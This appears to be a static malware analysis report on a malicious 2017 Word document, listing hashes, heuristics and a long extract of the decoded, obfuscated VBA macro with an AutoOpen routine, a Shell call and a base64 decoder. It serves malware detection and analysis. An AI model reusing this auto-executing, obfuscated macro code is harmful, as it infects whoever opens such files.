Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ad8180bf84e43b0…

MALICIOUS

Office (OLE)

273.0 KB Created: 2017-06-26 19:45:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 75b8476c68601dbf099e999486174007 SHA-1: fbf76b92ff7137997842925f41ce47f158d70eb9 SHA-256: 5ad8180bf84e43b01df706fa58233a542722fd1e023b0316162cc1096cd51814
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing obfuscated VBA macros, indicated by the 'OLE_VBA_MACROS' and 'OLE_LEGACY_WORDBASIC_AUTOEXEC' heuristics. The 'OLE_VBA_SHELL' heuristic and ClamAV detection ('Doc.Macro.Obfuscation-6331107-0') strongly suggest that the macro attempts to execute commands or download additional malware. The VBA script itself is heavily obfuscated with arithmetic operations and conditional logic, making its exact function difficult to determine, but the presence of 'AutoOpen' and potential shell calls points to malicious intent.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    H5PFv = tIjswZcdV & wlg1b6ck
Shell JU2rHWt, QNAKm
End Function
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "QsQHeA4LY"
Sub AutoOpen()
orFl6POz = 560 - 501
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 78729 bytes
SHA-256: f04be485df4b70f8c6b1f9013313a8d227b79f27739131abc0f76cb29258eb63
Detection
ClamAV: No threats found
Obfuscation or payload: likely
906 of 1768 identifiers look randomly generated (e.g. 'U2hlbGw7JHdlYmNsaWVudCA9IG5ldy1vYmplY3Qg') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "QsQHeA4LY"
Sub AutoOpen()
orFl6POz = 560 - 501
If orFl6POz = 978 - 968 Then
avtek6dMb = jQxN0kb
End If
wWGKBx = wWGKBx & avtek6dMb
EGTmoL = -7629 + 7631
Select Case EGTmoL
Case 978 - 968
sq3VoeCb = 114
Case 1078 - 1055
pZsf3 = False
Case 491 - 436
L0iKLEG = False
Case Else
sqSDyR = 114
End Select
DRGBhHfx = -7629 + 7631
Select Case DRGBhHfx
Case 978 - 968
dfd8BbX = 16957.034698413
End Select
OuPgz9fSy = -7629 + 7631
Select Case OuPgz9fSy
Case 978 - 968
t2Elvkr = 389
Case 1078 - 1055
u2dYKnN5 = 0
Case 491 - 436
Iy2DZXCM = False
Case Else
rT0ZsKxm = d6NaH
End Select
NtqlKav = -7629 + 7631
Select Case NtqlKav
Case 978 - 968
wTSqz7 = 0
Case 1078 - 1055
l9L8p = hvPuz2
End Select
H8GH5udns = 709 - 16
If H8GH5udns = 2460 - 2447 Then
wpDLJ9a0 = GTwa76Prp
End If
zxQ82AB = zxQ82AB & wpDLJ9a0
Wnm92tuzD = -234 + 321
Select Case Wnm92tuzD
Case 2460 - 2447
yS6F0 = 1035.0674402457
Case -947 + 969
qepsUF8 = 1035.0674402457
Case 701 - 661
G7gUbQm = True
End Select
R1vyC = -234 + 321
Select Case R1vyC
Case 2460 - 2447
Gd2TZMybS = f2FiNZxl
End Select
ezO52rC = -234 + 321
Select Case ezO52rC
Case 2460 - 2447
v0rLDFZG = 26
End Select
ywxkKQtp9 = -234 + 321
Select Case ywxkKQtp9
Case 2460 - 2447
YGM7l = 23659.634723904
Case -947 + 969
U5UTiCS = 22514
Case 701 - 661
ALfAPe4q = 36428.063285075
Case Else
qJr6HI4c = 79
End Select
cWY5sF = 357 + 68
If cWY5sF = 2900 / 290 Then
Xo6Cb = 21970.089535808
ElseIf cWY5sF = -548 + 578 Then
V2rZ1nl = 0
Else
MShHW6ky3 = 0
End If
t8t4RMh = Xo6Cb & V2rZ1nl & MShHW6ky3
hQkMebfI = 6042 / 57
Select Case hQkMebfI
Case 2900 / 290
uoFIs = 254
Case -548 + 578
AMOuZ = 51705.158560361
Case 313 - 254
tQEwIbk = -10542
End Select
OmrE2nz = 357 + 68
If OmrE2nz = 2900 / 290 Then
d8guMlUo = 34693.857766492
ElseIf OmrE2nz = -548 + 578 Then
Nq4bSBRsx = 222
Else
XJfR5 = 46481.972554739
End If
pslKr = d8guMlUo & Nq4bSBRsx & XJfR5
NXHVD9B5 = 81 + 20
Select Case NXHVD9B5
Case -2028 + 2036
SHhLX = 18259.772637397
End Select
ZVYG6p3q = 31456 / 32
If ZVYG6p3q = -2028 + 2036 Then
uqQEP5Rls = 123
ElseIf ZVYG6p3q = 61 - 36 Then
gMtDF = True
Else
hiYAxo = -1136392650
End If
Sf6HP5jn = uqQEP5Rls & gMtDF & hiYAxo
X0emx = 81 + 20
Select Case X0emx
Case -2028 + 2036
ALlwQ9iy = tn0eNUt
Case 61 - 36
dh1kIz3WG = 39321.60954329
Case 32128 / 1004
yj3GD = 39321.60954329
End Select
rxt0Di = 81 + 20
Select Case rxt0Di
Case -2028 + 2036
DcQyOgkAN = 71
Case 61 - 36
CxuC2 = MjQ4e
Case 32128 / 1004
tqtgRwI8z = MjQ4e
End Select
jxpJ6CGND = 19701 / 199
Select Case jxpJ6CGND
Case 1581 - 1572
J3dKh = 172
Case 27782 / 958
nxQZcXOo = 34188.278095537
Case -322 + 382
x2jzLY = 172
Case Else
jJtHxfNg = -860605390
End Select
jf2Rs0gJl = 19701 / 199
Select Case jf2Rs0gJl
Case 1581 - 1572
oCGjV2rX8 = -1847
End Select
NSFp8dcIQ = 210 + 93
If NSFp8dcIQ = 1581 - 1572 Then
fCEfVd = 234
End If
stoxHjpk = stoxHjpk & fCEfVd
b0YscG = 210 + 93
If b0YscG = 1581 - 1572 Then
oITcC = 13487.764665543
Else
jeTn1O73J = GJOLx
End If
E6eYL5 = oITcC & jeTn1O73J
STfpZLbrR = 654 - 623
Select Case STfpZLbrR
Case 3496 - 3492
GLsBbKl = 22094.449580062
Case 23475 / 939
jkfDw = knOHk
Case 29484 / 567
o8dVE0U7O = 0
Case Else
xjYgVP = False
End Select
TOVDhcUXt = 25 + 63
If TOVDhcUXt = 3496 - 3492 Then
R7bUzK = 202
End If
R4qR2NxZ6 = R4qR2NxZ6 & R7bUzK
ThDKAa73f = 654 - 623
Select Case ThDKAa73f
Case 3496 - 3492
d9Js1G6Yo = dCQPzWYb
End Select
FdO3ys = 1980 / 22
Select Case FdO3ys
Case 28230 / 1882
fvblZ = 110
End Select
lTFjxbvn = 1980 / 22
Select Case lTFjxbvn
Case 28230 / 1882
fvweBdA = -9403
Case 935 - 905
eDcG3r = aOUgI46Ne
End Select
AzZgw0f = 206 - 47
If AzZgw0f = 28230 / 1882 Then
XoqO43m = False
Else
o893BTug = 192
End If
ZxJaL = XoqO43m & o893BTug
oYIevU1 = 206 - 47
If oYIevU1 = 28230 / 1882 Then
alXqmQ9 = wLCsEj
ElseIf oYIevU1 = 935 - 905 Then
XBw7q = True
Else
qST6xw4YZ = 61791.481185189
End If
ogD8G = alXqmQ9 & XBw7q & qST6xw4YZ
scbzV9X = -573 + 625
Select Case scbzV9X
Case 4704 - 4698
SvRwkB = 14721.894427138
End Select
pgBvo = -573 + 625
Select Case pgBvo
Case 4704 - 4698
F8aNA45E = 4337.5778366461
Case 219 - 196
z3Sk0dx = WkdYwD2xW
Case 589 - 544
AslcIZXLP = 10039.98103025
Case Else
rBI4GtH = 0
End Select
toBVsC = -573 + 625
Select Case toBVsC
Case 4704 - 4698
jmkQf = 52
Case 219 - 196
St801C = 13794
Case 589 - 544
wtD5PL = -235043366
End Select
oem7jz9l = 241 + 88
If oem7jz9l = 4704 - 4698 Then
SzisC = -865484370
Else
g1nWcgm0H = 49051.347572675
End If
do1LCO = SzisC & g1nWcgm0H
PUsxPBX74 = 4466 / 58
Select Case PUsxPBX74
Case 9655 / 9655
hry4J = False
Case -405 + 433
aNqwp2UGH = 57202.350920948
Case 13293 / 211
vySrYp = 0
End Select
hmuBg = 217 - 30
If hmuBg = 9655 / 9655 Then
htiAICvx = False
Else
hIy0bvdU = -27060
End If
okTZyg = htiAICvx & hIy0bvdU
mSEDkJ = 4466 / 58
Select Case mSEDkJ
Case 9655 / 9655
k9lfgdq = 60007.681329242
End Select
uqJP4c = 217 - 30
If uqJP4c = 9655 / 9655 Then
m1DeBTjbq = 0
ElseIf uqJP4c = -405 + 433 Then
rVH3Qx = 144
Else
Zrt2v3 = False
End If
NuRGlL4nQ = m1DeBTjbq & rVH3Qx & Zrt2v3
KceCm2 = 368 + 69
If KceCm2 = 1878 - 1870 Then
zzs3h = 9245.1921414145
ElseIf KceCm2 = 418 - 394 Then
WajLAHuU = False
Else
woPEpf = 21666
End If
HoIFG8 = zzs3h & WajLAHuU & woPEpf
lMaPSt6y = 22 + 86
Select Case lMaPSt6y
Case 1878 - 1870
kZfTQI6sk = 52103.265533599
Case 418 - 394
E5Mu7a = 0
Case -181 + 218
BDmgEf = 0
End Select
OKU936 = 368 + 69
If OKU936 = 1878 - 1870 Then
g6EzxcM27 = 53326.117207702
Else
U1u8Ya3AU = i9osA04
End If
Hdvmj = g6EzxcM27 & U1u8Ya3AU
GkL6duGe3 = -497 + 527
Select Case GkL6duGe3
Case 16064 / 1004
j7k1Q = 74
Case 652 - 623
ORmWC4 = 56863.577455578
Case 111 - 61
r2In6qe = 74
Case Else
wHD583 = -17631
End Select
flqCGoA = 230 + 26
If flqCGoA = 16064 / 1004 Then
WnPL1Hl = 60869.195703195
End If
GCcMHg = GCcMHg & WnPL1Hl
OHLcySQ = 230 + 26
If OHLcySQ = 16064 / 1004 Then
BYLukqEr = False
ElseIf OHLcySQ = 652 - 623 Then
HOimthq = False
Else
ulGXIp = 59043.41110467
End If
SwaP9l8V = BYLukqEr & HOimthq & ulGXIp
NWsYBS = -497 + 527
Select Case NWsYBS
Case 16064 / 1004
aLENzyMAg = XBV1Ak5qv
Case 652 - 623
Pupr7VZk = 29291.926711256
Case 111 - 61
Z28Xq = 12020
End Select
MhVrpa3x = 921 - 11
If MhVrpa3x = 2326 - 2312 Then
YI8gMLw = 54971.480329512
End If
oH2Au = oH2Au & YI8gMLw
zLRK4 = 254 - 145
Select Case zLRK4
Case 2326 - 2312
A9cZ8xrbh = 61100.037615532
Case 1369 - 1349
trM4R = 205
Case 499 - 464
oObBC2H8k = 9722.3000475588
Case Else
k9A1eqG = 0
End Select
r5p81bn = 921 - 11
If r5p81bn = 2326 - 2312 Then
LUSupe2ob = CZytJHbI
Else
jOqLWNC = 158
End If
oVX0jC = LUSupe2ob & jOqLWNC
ZiEZfu = 254 - 145
Select Case ZiEZfu
Case 2326 - 2312
C42Hwj1 = 29937.590338573
End Select
m6eG7C = 649 + 28
If m6eG7C = 10731 - 10729 Then
xGayvK = 0
End If
CAIvQGBMi = CAIvQGBMi & xGayvK
VvHr6WRQq = 16128 / 384
Select Case VvHr6WRQq
Case 10731 - 10729
Bc1OPKX = 205
Case 19209 / 1011
C9vS2bEp5 = 6571.3296403001
Case 31248 / 496
nB186 = -9833
End Select
kJYT9hp = 649 + 28
If kJYT9hp = 10731 - 10729 Then
Z50R7 = 24888.996918958
Else
CcGgLDaH0 = 194
End If
m0kx4bYti = Z50R7 & CcGgLDaH0
TwJYB = 505 - 459
Select Case TwJYB
Case 8578 - 8575
SLR5Jj = bkD9NuxOG
Case 19470 / 649
fTptS = -18847
End Select
I8GiRh = 505 - 459
Select Case I8GiRh
Case 8578 - 8575
OelBOiNL2 = wOoMEzn
Case 19470 / 649
IOxhzk = True
End Select
kihOwWY9 = 786 - 33
If kihOwWY9 = 8578 - 8575 Then
LSpEJ = lKfMlmX
ElseIf kihOwWY9 = 19470 / 649 Then
UcePd = lKfMlmX
Else
UpafKQoq = 161
End If
VVeBH = LSpEJ & UcePd & UpafKQoq
eV9ChA1 = 505 - 459
Select Case eV9ChA1
Case 8578 - 8575
kwHThQ = False
Case 19470 / 649
NwHv2Q = -13673
Case 31920 / 798
Gkudw = 52082.887914298
End Select
LnjBH = 31200 / 50
If LnjBH = 12492 / 1388 Then
y10UgqK8 = FtA0e
End If
RlFm3X = RlFm3X & y10UgqK8
u9EcY8 = 528 - 470
Select Case u9EcY8
Case 12492 / 1388
SkwU5VPM = 48850.140218717
Case 1117 - 1097
p23v7aXD = 0
Case 18467 / 313
Fw9Vu = False
End Select
VnMUtIyZ = 31200 / 50
If VnMUtIyZ = 12492 / 1388 Then
DVUHfu = 75
End If
tMAEN = tMAEN & DVUHfu
Cf0SE3bv = 31200 / 50
If Cf0SE3bv = 12492 / 1388 Then
ILpbCOIKk = DsrYG
End If
o9F2LC = o9F2LC & ILpbCOIKk
CIqYLh8E = 239 + 7
If CIqYLh8E = 25233 / 8411 Then
DRxs0i21 = -27975
Else
fA5nh9f6 = gIVBJRmu9
End If
UUmg0XE = DRxs0i21 & fA5nh9f6
aF9iy = 4914 / 39
Select Case aF9iy
Case 25233 / 8411
mxeTsYd = 60388.972335472
Case 720 / 40
bpx36anut = 18370
Case -26 + 58
PL4HKI = 60
End Select
g6f1arzo = 4914 / 39
Select Case g6f1arzo
Case 25233 / 8411
FXwa6fhZ = -2135947752
Case 720 / 40
F5L3IfD8b = 46450.925267634
Case -26 + 58
cas5V4 = 100
End Select
ez0DZ = 5469 - 5465
Select Case ez0DZ
Case 208 - 195
dsUIX = 228
Case -258 + 274
i4WzAPbQ = 0
End Select
KYMW7OkQc = 577 - 45
If KYMW7OkQc = 208 - 195 Then
HmEVCck = 31387
Else
h8YAJoS = 10508.501207093
End If
AhNuUlW = HmEVCck & h8YAJoS
XcbO8UPD = 5469 - 5465
Select Case XcbO8UPD
Case 208 - 195
B8BlGgvz = Bdh6E
Case -258 + 274
o6gs05p = True
Case 6 + 30
sjKt2YLCd = 11458
Case Else
Ovfaj = Bdh6E
End Select
sMk2bJCf
JbRA753hC = 838 - 24
If JbRA753hC = 15000 / 1000 Then
yaBLnGz = -65817214
Else
Ire31z = True
End If
YyePFkYv = yaBLnGz & Ire31z
A0wxi = 838 - 24
If A0wxi = 15000 / 1000 Then
N30MW = True
ElseIf A0wxi = -92 + 115 Then
HKuIJ3Rc8 = True
Else
A7eiq = cF6m3d
End If
m7AEIz6XN = N30MW & HKuIJ3Rc8 & A7eiq
waCAlyJKV = -1119 + 1128
Select Case waCAlyJKV
Case 15000 / 1000
SmFUIYNp = 4
Case -92 + 115
Mt4KxSiJX = 4
End Select
LWbdjV4 = 416 + 3
If LWbdjV4 = 3260 / 326 Then
jbcoes = 46199.233086946
Else
RDYQRjt = 46199.233086946
End If
dPOez = jbcoes & RDYQRjt
VKnhSiT9c = 416 + 3
If VKnhSiT9c = 3260 / 326 Then
vJDkqCRNl = True
ElseIf VKnhSiT9c = 973 - 944 Then
G30yW = True
Else
XbAFnZ1 = 224
End If
oKVzB = vJDkqCRNl & G30yW & XbAFnZ1
Vvzx7b = 416 + 3
If Vvzx7b = 3260 / 326 Then
A4KomaCZ = -15561
Else
VpVqnd96 = 133
End If
RnKWk6M = A4KomaCZ & VpVqnd96
Czpv6 = -98 + 202
Select Case Czpv6
Case 3260 / 326
XaIonk8Qj = 29640
Case 973 - 944
uM4FIjq = rnC1F
Case -376 + 409
fM351S = 0
End Select
VarvTg = 227 * 4
If VarvTg = 2310 / 330 Then
RJL7cf = 0
End If
Naf0E = Naf0E & RJL7cf
R6t7eU = 227 * 4
If R6t7eU = 2310 / 330 Then
Wi6VnNQ2 = 55269.38323211
End If
EXLdsj7vz = EXLdsj7vz & Wi6VnNQ2
oNtKBHj8 = -1981 + 1983
Select Case oNtKBHj8
Case 2310 / 330
uaFNVTGR = 46845.150433543
End Select

DTUVEW1MG = 775 - 36
If DTUVEW1MG = 16600 / 1660 Then
RTZUdpBXW = ZWg2hAk4y
ElseIf DTUVEW1MG = -27 + 47 Then
oIqXNv = 55216.934598622
Else
PfPtZIB = False
End If
lf4FW = RTZUdpBXW & oIqXNv & PfPtZIB
lIwzB3ciG = 775 - 36
If lIwzB3ciG = 16600 / 1660 Then
I20ph9 = 0
Else
eMePd = 0
End If
cFKsX0pt6 = I20ph9 & eMePd
hxYInyP = 9773 / 337
Select Case hxYInyP
Case 16600 / 1660
WjmPoYH9e = 252
Case -27 + 47
yrk2A0Pt = 252
Case 98 - 44
J4oNvdgKT = -278
End Select
MKTZ8d = -1043 + 1047
Select Case MKTZ8d
Case 1050 - 1035
YAsFhToW = UlBY8kLVu
End Select
ZiJxB2VvG = -1043 + 1047
Select Case ZiJxB2VvG
Case 1050 - 1035
xlwWIdp = 30066.394712104
Case 18538 / 598
FhU9Fjy = AemtsBH
Case -302 + 366
zoSHpgm7 = False
End Select
YmZGC = 486 - 13
If YmZGC = 1050 - 1035 Then
e8VBMRbZ = 35
ElseIf YmZGC = 18538 / 598 Then
LtcNdX0 = -21650
Else
OqeRCUOm = True
End If
dvHt2O3C5 = e8VBMRbZ & LtcNdX0 & OqeRCUOm
rzGRjZfFo = -1043 + 1047
Select Case rzGRjZfFo
Case 1050 - 1035
di0M5 = zhcen
Case 18538 / 598
A57Vc = 14
Case -302 + 366
NCFPb = 5294
End Select
BvgTJi0SU = 486 - 13
If BvgTJi0SU = 1050 - 1035 Then
QBtHDXd = -1098769860
Else
kImWqn = 124
End If
lHyh0P = QBtHDXd & kImWqn
oLZ5eibEd = -174 + 223
If oLZ5eibEd = -8432 + 8435 Then
Tfrg2udM8 = 27243.570368613
ElseIf oLZ5eibEd = 1428 - 1408 Then
r3VMj = 207
Else
i5B4z67b = 0
End If
M90GPvcDp = Tfrg2udM8 & r3VMj & i5B4z67b
kIE1Px4 = 31828 / 292
Select Case kIE1Px4
Case -8432 + 8435
bbc5DrE = 175
Case 1428 - 1408
JbidcRq = -7312
Case -426 + 476
IvJaG15 = EzhtcJ
End Select
Nyvh9I42 = -174 + 223
If Nyvh9I42 = -8432 + 8435 Then
dqIB7tdxZ = 35491.410864933
End If
yh4tIQgNZ = yh4tIQgNZ & dqIB7tdxZ
nz1BUET = -174 + 223
If nz1BUET = -8432 + 8435 Then
gyGDkYCBK = 11346.725591556
End If
x8rBs5 = x8rBs5 & gyGDkYCBK
End Sub

Attribute VB_Name = "NetbNlFPA"
Private Const v8ecLR = 1905131520 / 114
Private Const Hklo9s = 79083 - 13803
Private Const J1tJ2rIPy = 342 - 87
Private Const vyh2K8VAn = 254774 + 7370
Private Const gtNpu = 4096 * 1
Private Const yE4jAz = 12288 / 192
Private Const MGlgf = 13056 / 51
Private Const vq5Sfh = 64625 + 911
Public Function AOEt9z(MQTdwH As String) As String
Dim BRg3Xzk() As Byte, tVF78kE() As Byte, FbW7TFY(255) As Byte, axBH6Z7uq(63) As Long, hhM3ib5a(63) As Long
Dim A1l4RDuU(63) As Long, LgBeYGMPa As Long, iPad As Integer, lChar As Long, lPos As Long, sOut As String
Dim ich2yq As Long
XSQIt = -2512 + 2524
If XSQIt = -6530 + 6532 Then
bVC7voF6p = AOahrx
End If
Pd547 = Pd547 & bVC7voF6p
kv8KCHg = -906 + 929
Select Case kv8KCHg
Case -6530 + 6532
MGzkuedwg = 57
End Select
ICk6sEeh = -906 + 929
Select Case ICk6sEeh
Case -6530 + 6532
rojhRMDFK = 53569.219492374
Case 16224 / 507
cqPcr4g76 = dy5AYvGBe
Case -436 + 479
xoY0eKZf = True
End Select
QaysUE1 = -2512 + 2524
If QaysUE1 = -6530 + 6532 Then
UIMEnH = mG6KhD1YN
ElseIf QaysUE1 = 16224 / 507 Then
GrE8qW = 63
Else
mrD5UQNWd = False
End If
C9bvu = UIMEnH & GrE8qW & mrD5UQNWd
xRI4JKdN = -228 + 249
Select Case xRI4JKdN
Case 21164 / 5291
RjQZSyX = 107
Case 512 / 32
BbX9PYJL3 = ifJUmRGgK
Case 167 - 128
O5GznyV = -1213806692
Case Else
AbzhB2 = 107
End Select
Gf4i3oZFa = -228 + 249
Select Case Gf4i3oZFa
Case 21164 / 5291
vCj95Wamq = 187
End Select
jx79oSBu = -228 + 249
Select Case jx79oSBu
Case 21164 / 5291
lz7Uk0c = 31930.120077939
Case 512 / 32
YDTRs = 18476
Case 167 - 128
Dr4sVW = 18476
Case Else
gPbtcGV = -1104806102
End Select
z6m4SY = 29304 / 132
If z6m4SY = 21164 / 5291 Then
QujGnNZxa = 123
ElseIf z6m4SY = 512 / 32 Then
tJ3AtqTw = True
Else
TOVx7p = 0
End If
KoQV7TKSD = QujGnNZxa & tJ3AtqTw & TOVx7p
Tt4ya = 572 + 9
If Tt4ya = 1456 / 208 Then
a7JDLw = 18706.971422694
End If
XMLNgrd = XMLNgrd & a7JDLw
bCL3Vb9Fn = 31 + 53
Select Case bCL3Vb9Fn
Case 1456 / 208
xlWU4L = 0
End Select
ZT5eWF = 572 + 9
If ZT5eWF = 1456 / 208 Then
QcGdzbZ = True
Else
ayfOxdUwJ = 21832.759321681
End If
q8zbp = QcGdzbZ & ayfOxdUwJ
RpEH64 = 572 + 9
If RpEH64 = 1456 / 208 Then
Hj7mUt = -1216193394
ElseIf RpEH64 = 1039 - 1012 Then
OoxaXfBk = True
Else
mkx2c1 = 33985.551569162
End If
KylNHe = Hj7mUt & OoxaXfBk & mkx2c1
YWYFZQ = -46 + 109
Select Case YWYFZQ
Case 4109 - 4102
jv8FumVz = 23771
End Select
ycCWz2 = -46 + 109
Select Case ycCWz2
Case 4109 - 4102
gnqwO = 25852
Case -349 + 379
jILvb = -1501661536
Case 214 - 171
Qf7sjYg8 = 25852
End Select
i4dCTcj2o = 971 + 25
If i4dCTcj2o = 4109 - 4102 Then
XHiPtWp = 33018.600660324
ElseIf i4dCTcj2o = -349 + 379 Then
DZpsIeVz = False
Else
ZgwXLKcia = 64
End If
MUrl9 = XHiPtWp & DZpsIeVz & ZgwXLKcia
dfrX74wm = 971 + 25
If dfrX74wm = 4109 - 4102 Then
kmoQcJ = False
ElseIf dfrX74wm = -349 + 379 Then
WktBzowMC = 42
Else
LlsFpzO0m = False
End If
fh3TIi = kmoQcJ & WktBzowMC & LlsFpzO0m
MQTdwH = Replace(MQTdwH, vbCr, vbNullString)
Rb5makF4 = 32472 / 369
Select Case Rb5makF4
Case 5696 / 356
uCunYN = ufE6wYD0
End Select
Y9oX0ch = 32472 / 369
Select Case Y9oX0ch
Case 5696 / 356
n0Ktj = gIM0N6d
Case -212 + 229
iglhm3Cw = False
End Select
b4f6pgVRY = 32472 / 369
Select Case b4f6pgVRY
Case 5696 / 356
uyK5YQXU = 52609.361950834
Case -212 + 229
SLt9npo = WpBhvf
Case -822 + 859
asn0u13hf = -291358038
End Select
xi65KTM4 = -91 + 112
Select Case xi65KTM4
Case 570 - 562
DkHz2 = 0
End Select
pVeWMhYQn = -91 + 112
Select Case pVeWMhYQn
Case 570 - 562
JyPmoWBX = 12406.955261478
End Select
ApEgaU = 415 + 16
If ApEgaU = 570 - 562 Then
DBRHp0PIS = -10924
Else
wmsG4 = -46683788
End If
SEicr = DBRHp0PIS & wmsG4
CPKDdn = 415 + 16
If CPKDdn = 570 - 562 Then
ByN7CG = 48442.458653768
Else
GAwhWxQk = 16955.538566417
End If
deoTjxv = ByN7CG & GAwhWxQk
UiINvSs = 415 + 16
If UiINvSs = 570 - 562 Then
w8YnOy = 13956
End If
j8gSXL = j8gSXL & w8YnOy
jt9hYZEq = 7 * 11
Select Case jt9hYZEq
Case 6411 - 6406
E0iuDxzYQ = 24401.587472947
Case 31348 / 1844
fCTkR = 24401.587472947
End Select
tdlUsjrAJ = 7 * 11
Select Case tdlUsjrAJ
Case 6411 - 6406
CZjUFAM3o = zlyLZq
Case 31348 / 1844
jYEb5 = True
Case -125 + 168
sqa0omsCV = 3275.6256587807
End Select
PCZ96c = 7 * 11
Select Case PCZ96c
Case 6411 - 6406
n0n9KbNav = True
Case 31348 / 1844
C46UYtIsd = 29601.695613534
End Select
xYVhJyEa = 48 + 132
If xYVhJyEa = 6411 - 6406 Then
pUZfySec = 25497.106491825
End If
ANeAro9 = ANeAro9 & pUZfySec
MQTdwH = Replace(MQTdwH, vbLf, vbNullString)
TxRt4 = 5568 / 232
Select Case TxRt4
Case -1829 + 1833
o9itHk = 87
End Select
avC2dTusV = 5568 / 232
Select Case avC2dTusV
Case -1829 + 1833
bEQOHjo = rXQ41B23
Case 3914 / 206
zrO890S = 61717.062793566
Case -236 + 299
noECkTbLD = 61717.062793566
Case Else
F57kRDbT = 253
End Select
lCwXNq = 23004 / 81
If lCwXNq = -1829 + 1833 Then
HhbJ8Hlo = JgrbL
End If
UHTtVW = UHTtVW & HhbJ8Hlo
OBMQW = 23004 / 81
If OBMQW = -1829 + 1833 Then
PugxIsbW = 30498.035659423
End If
waTIvlr5 = waTIvlr5 & PugxIsbW
ePfwTCzGa = 23004 / 81
If ePfwTCzGa = -1829 + 1833 Then
YZn1fM5cr = RUJwAu
Else
jMmke = 15014.946237856
End If
tUsjC = YZn1fM5cr & jMmke
ROA63 = 449 - 18
If ROA63 = 8228 / 4114 Then
WIkoA = eWfiw
End If
nNBHTXm = nNBHTXm & WIkoA
Ovuoj4b = 453 - 398
Select Case Ovuoj4b
Case 8228 / 4114
Tv50dh8 = QtfQj7UK
Case 1050 - 1034
aIa9U = 18061.391992093
End Select
hC10E6Gto = 453 - 398
Select Case hC10E6Gto
Case 8228 / 4114
XCyFqEMu = y2zRdM
Case 1050 - 1034
wj0fcoZTr = False
Case 6435 / 143
WMBdSy = False
Case Else
hHAnS = 25
End Select
aeCbgwh8 = 17776 / 44
If aeCbgwh8 = -2137 + 2150 Then
GkeZPQO = 120
End If
cuh89l5op = cuh89l5op & GkeZPQO
Ww08oCNd = 17776 / 44
If Ww08oCNd = -2137 + 2150 Then
TxaoMmZ0 = 106
Else
MovKFRx7 = QqQv5Gst
End If
KIZ26t = TxaoMmZ0 & MovKFRx7
aKun6 = 17776 / 44
If aKun6 = -2137 + 2150 Then
KOzW9f = -22459
End If
QfoixF58 = QfoixF58 & KOzW9f
YzJ7T = 17776 / 44
If YzJ7T = -2137 + 2150 Then
QKGAr = -2039389726
ElseIf YzJ7T = 15894 / 883 Then
kAdpa = kBvJTjhx
Else
cpthHv = 10302.937474178
End If
dTS2V = QKGAr & kAdpa & cpthHv
kYXFWV7 = -596 + 619
Select Case kYXFWV7
Case -19181 + 19182
TpEkDRiqN = 0
Case 12006 / 667
cPXhZ6SCf = True
End Select
y9VfUwql1 = -596 + 619
Select Case y9VfUwql1
Case -19181 + 19182
fkHNGb = 28648
Case 12006 / 667
RewjsvD = 28648
Case -521 + 568
idMyIsvf = -1046733626
Case Else
D3WctP = -1046733626
End Select
VvTPIwtBN = -15 + 149
If VvTPIwtBN = -19181 + 19182 Then
E1DkmegT = -20412
End If
TwtC61syl = TwtC61syl & E1DkmegT
QbjJk8 = -596 + 619
Select Case QbjJk8
Case -19181 + 19182
eS4D7n9 = -1788074552
End Select
ich2yq = Len(MQTdwH) Mod 4
bLvh8 = 168 + 108
If bLvh8 = 8880 / 888 Then
ytpb4cx = 46867.060774859
End If
iv2Po = iv2Po & ytpb4cx
d2zNX7FaQ = 29852 / 878
Select Case d2zNX7FaQ
Case 8880 / 888
rqpDR = -18055
End Select
orIpKb = 29852 / 878
…

Open this report in the interactive analyzer, or submit your own file for analysis.